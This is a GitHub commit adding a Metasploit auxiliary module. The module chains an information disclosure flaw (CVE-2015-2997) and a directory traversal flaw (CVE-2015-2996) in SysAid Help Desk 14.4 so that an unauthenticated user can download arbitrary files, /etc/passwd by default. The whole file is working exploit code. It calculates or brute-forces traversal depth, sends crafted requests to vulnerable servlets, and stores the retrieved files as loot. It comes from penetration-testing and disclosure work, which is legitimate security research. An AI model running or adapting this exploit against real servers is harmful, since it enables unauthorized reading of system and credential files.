Skip to content

Commit 72b7982

Browse files
author
Pedro Ribeiro
committed
Create sysaid_file_
1 parent 766d726 commit 72b7982

File tree

1 file changed

+150
-0
lines changed

1 file changed

+150
-0
lines changed
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "SysAid Help Desk Arbitrary File Download",
16+
'Description' => %q{
17+
This module exploits two vulnerabilities in SysAid Help Desk that allows
18+
an unauthenticated user to download arbitrary files from the system. First an
19+
information disclosure vulnerability (CVE-2015-2997) is used to obtain the file
20+
system path, and then we abuse a directory traversal (CVE-2015-2996) to download
21+
the file. Note that there are some limitations on Windows: 1) the information
22+
disclosure vulnerability doesn't work; 2) we can only traverse the current drive,
23+
so if you enter C:\afile.txt and the server is running on D:\ the file will not
24+
be downloaded. This module has been tested with SysAid 14.4 on Windows and Linux.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', 'CVE-2015-2996' ],
34+
[ 'CVE', 'CVE-2015-2997' ],
35+
[ 'OSVDB', 'TODO' ],
36+
[ 'OSVDB', 'TODO' ],
37+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
38+
[ 'URL', 'TODO_FULLDISC_URL' ]
39+
],
40+
'DisclosureDate' => 'Jun 3 2015'))
41+
42+
register_options(
43+
[
44+
OptPort.new('RPORT', [true, 'The target port', 8080]),
45+
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
46+
OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with 4 back slashes)', '/etc/passwd']),
47+
], self.class)
48+
end
49+
50+
51+
def get_traversal_path
52+
print_status("#{peer} - Trying to find out the traversal path...")
53+
large_traversal = '../' * rand(15...30)
54+
servlet_path = 'getAgentLogFile'
55+
56+
# We abuse getAgentLogFile to obtain the
57+
res = send_request_cgi({
58+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
59+
'method' => 'POST',
60+
'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),
61+
'ctype' => 'application/octet-stream',
62+
'vars_get' => {
63+
'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),
64+
'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
65+
}
66+
})
67+
68+
if res && res.code == 200
69+
if res.body.to_s =~ /\<H2\>(.*)\<\/H2\>/
70+
error_path = $1
71+
# Error_path is something like:
72+
# /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
73+
# This calculates how much traversal we need to do to get to the root.
74+
position = error_path.index(large_traversal)
75+
if position != nil
76+
return "../" * (error_path[0,position].count('/') - 2)
77+
end
78+
end
79+
end
80+
end
81+
82+
83+
def download_file (download_path)
84+
begin
85+
return send_request_cgi({
86+
'method' => 'GET',
87+
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
88+
'vars_get' => {
89+
'fileName' => download_path
90+
},
91+
})
92+
rescue Rex::ConnectionRefused
93+
print_error("#{peer} - Could not connect.")
94+
return
95+
end
96+
end
97+
98+
99+
def run
100+
# No point to continue if filepath is not specified
101+
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
102+
print_error("Please supply the path of the file you want to download.")
103+
return
104+
else
105+
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
106+
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
107+
filepath = $3
108+
else
109+
filepath = datastore['FILEPATH']
110+
end
111+
end
112+
113+
traversal_path = get_traversal_path
114+
if traversal_path == nil
115+
print_error("#{peer} - Could not get traversal path, using bruteforce to download the file")
116+
count = 1
117+
while count < 15
118+
res = download_file(("../" * count) + filepath)
119+
if res && res.code == 200
120+
if res.body.to_s.bytesize != 0
121+
break
122+
end
123+
end
124+
count += 1
125+
end
126+
else
127+
res = download_file(traversal_path[0,traversal_path.length - 1] + filepath)
128+
end
129+
130+
if res && res.code == 200
131+
if res.body.to_s.bytesize != 0
132+
vprint_line(res.body.to_s)
133+
fname = File.basename(datastore['FILEPATH'])
134+
135+
path = store_loot(
136+
'sysaid.http',
137+
'application/octet-stream',
138+
datastore['RHOST'],
139+
res.body,
140+
fname
141+
)
142+
print_good("File saved in: #{path}")
143+
else
144+
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
145+
end
146+
else
147+
print_error("#{peer} - Failed to download file.")
148+
end
149+
end
150+
end

0 commit comments

Comments
 (0)